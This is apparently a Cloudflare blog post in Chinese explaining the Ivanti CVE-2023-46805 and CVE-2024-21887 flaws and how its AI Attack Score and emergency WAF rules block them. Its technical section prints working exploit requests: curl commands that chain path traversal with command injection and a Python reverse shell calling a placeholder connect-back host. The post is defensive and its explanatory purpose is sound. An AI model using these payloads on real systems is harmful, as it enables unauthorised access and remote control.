大多数 WAF 提供商依赖反应式方法,在漏洞被发现和利用后对其做出响应。然而,我们主张主动应对潜在风险,并利用 AI 来实现这一目标。今天,我们将分享一个最近的严重漏洞示例(CVE-2023-46805 和 CVE-2024-21887),以及由 AI 提供支持的 Cloudflare Attack Score 以及 WAF 中的紧急规则如何应对这一威胁。
威胁:CVE-2023-46805 和 CVE-2024-21887
AttackerKB 最近披露并分析了影响 Ivanti 产品的身份验证绕过 (CVE-2023-46805) 和命令注入漏洞 (CVE-2024-21887)。此漏洞会带来重大风险,可能导致对受影响系统进行未经授权的访问和控制。在下一节中,我们将讨论此漏洞的利用情况。
技术分析
正如 AttackerKB 中所讨论的,攻击者可以使用如下命令向目标系统发送特制请求:
此命令针对通常受身份验证保护的端点 (/license/keys-status/)。但是,攻击者可以通过操纵 URL 以包含 /api/v1/totp/user-backup-code/../../license/keys-status/ 来绕过身份验证。这种技术称为目录遍历。
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
命令的 URL 编码部分解码为 Python 反向 shell,看起来像这样:
Python 反向 shell 是攻击者控制目标系统的一种方式。
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
该漏洞存在于系统处理 node_name 参数的方式中。如果攻击者可以控制 node_name 的值,他们就可以向系统注入命令。
详细说明“node_name”:“node_name”参数是端点 /api/v1/license/keys-status/path:node_name 的组成部分。该端点是问题主要发生的地方。
攻击者可以向 URI 路径 /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; 发送 GET 请求,其中 CMD 是他们希望执行的任何命令。通过使用分号,他们可以在请求中指定此命令。为了确保系统正确处理命令,必须对其进行 URL 编码。
还发现了另一个代码注入漏洞,AttackerKB 的博客文章对此进行了详细介绍。该漏洞涉及在系统的另一部分进行经过身份验证的命令注入。
这里可以使用第一个命令注入中使用的相同 Python 反向 shell 有效负载,形成一个 JSON 结构来触发漏洞。由于该有效负载是 JSON 格式,因此无需对 URL 进行编码:
尽管 /api/v1/system/maintenance/archiving/cloud-server-test-connection 端点需要身份验证,但攻击者可以通过将其与前面提到的目录遍历漏洞链接来绕过此验证。他们可以构造未经身份验证的 URI 路径 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection 来到达此端点并利用该漏洞。
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
要执行未经身份验证的操作系统命令,攻击者会使用类似这样的 curl 请求:
Cloudflare 的主动防御
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Cloudflare WAF 由一个名为 WAF Attack Score 的附加 AI 层提供支持,该层的构建目的是在攻击绕过之前就将其捕获,甚至是在其被公开之前。Attack Score 提供一个分数来表明请求是否恶意;到目前为止,重点关注三个主要类别:XSS、SQLi 和一些 RCE 变体(命令注入、ApacheLog4J 等)。分数范围为 1 到 99,分数越低,请求越恶意。一般来说,任何低于 20 分的请求都被视为恶意请求。
使用 Cloudflare 的仪表板(安全 > 事件)查看上述 CVE-2023-46805 和 CVE-2024-21887 的利用示例的结果。Attack Score 分析结果由三个单独的分数组成,每个分数都用于表明它们与特定攻击类别的相关性。还有一个全局分数“WAF Attack Score”,其考虑了这三个分数的综合影响。在某些情况下,如果攻击与某个类别匹配,则全局分数会受到其中一个子分数的影响,在这里我们可以看到占主导地位的子分数是远程代码执行“WAF RCE Attack Score”。
同样,对于未经身份验证的操作系统命令请求,我们从 AI 模型中收到“WAF attack Score:19”,这也属于恶意请求类别。值得一提的是,示例分数不是固定数字,可能会根据传入攻击的变化而变化。
好消息是:启用了 WAF Attack Score 的 Enterprise 和 Business 计划客户,以及具有低分阻止规则(例如 [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
)或([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
")的 Business 计划客户,已经免受潜在漏洞利用的影响,这种能力甚至在漏洞公布之前就已进行过测试。
紧急规则部署
为应对这一严重漏洞,Cloudflare 于 2024 年 1 月 17 日(概念验证公开后 24 小时内)发布了紧急规则。这些规则是其 WAF 托管规则的一部分,专门针对 CVE-2023-46805 和另一个也与 Ivanti 产品相关的漏洞 CVE-2024-21887 造成的威胁。这些名为“Ivanti - 身份验证绕过、命令注入 - CVE:CVE-2023-46805、CVE:CVE-2024-21887”的规则旨在阻止利用这些漏洞的尝试,为 Cloudflare 用户提供额外的安全层。
自从我们部署这些规则以来,我们记录了高水平的活动。截至撰写本文时,该规则已被触发超过 180,000 次。
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
规则 ID
描述
默认操作
新托管规则…34ab53c5
Ivanti - 身份验证绕过、命令注入 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
阻止
旧版托管规则100622
Ivanti - 身份验证绕过、命令注入 - CVE:CVE-2023-46805、CVE:CVE-2024-21887
阻止
影响和最佳实践
Cloudflare 对 CVE-2023-46805 和 CVE-2024-21887 的响应,表明了采取强有力安全措施的重要性。建议使用 Cloudflare 服务(尤其是 WAF)的组织确保其系统更新为使用最新的规则和配置,以维持最佳保护。我们还建议客户使用 Attack Score 来部署规则,以改善其安全态势。如果您想了解有关 Attack Score 的更多信息,请联系您的客户团队。
总结
Cloudflare 使用 AI 识别和阻止攻击的主动网络安全方法(其对 CVE-2023-46805 和 CVE-2024-21887 的响应就是例证)强调了如何在威胁和攻击公开并披露漏洞之前对其进行识别。Cloudflare 通过持续监控和快速响应漏洞,确保其客户在日益复杂的数字环境中保持安全。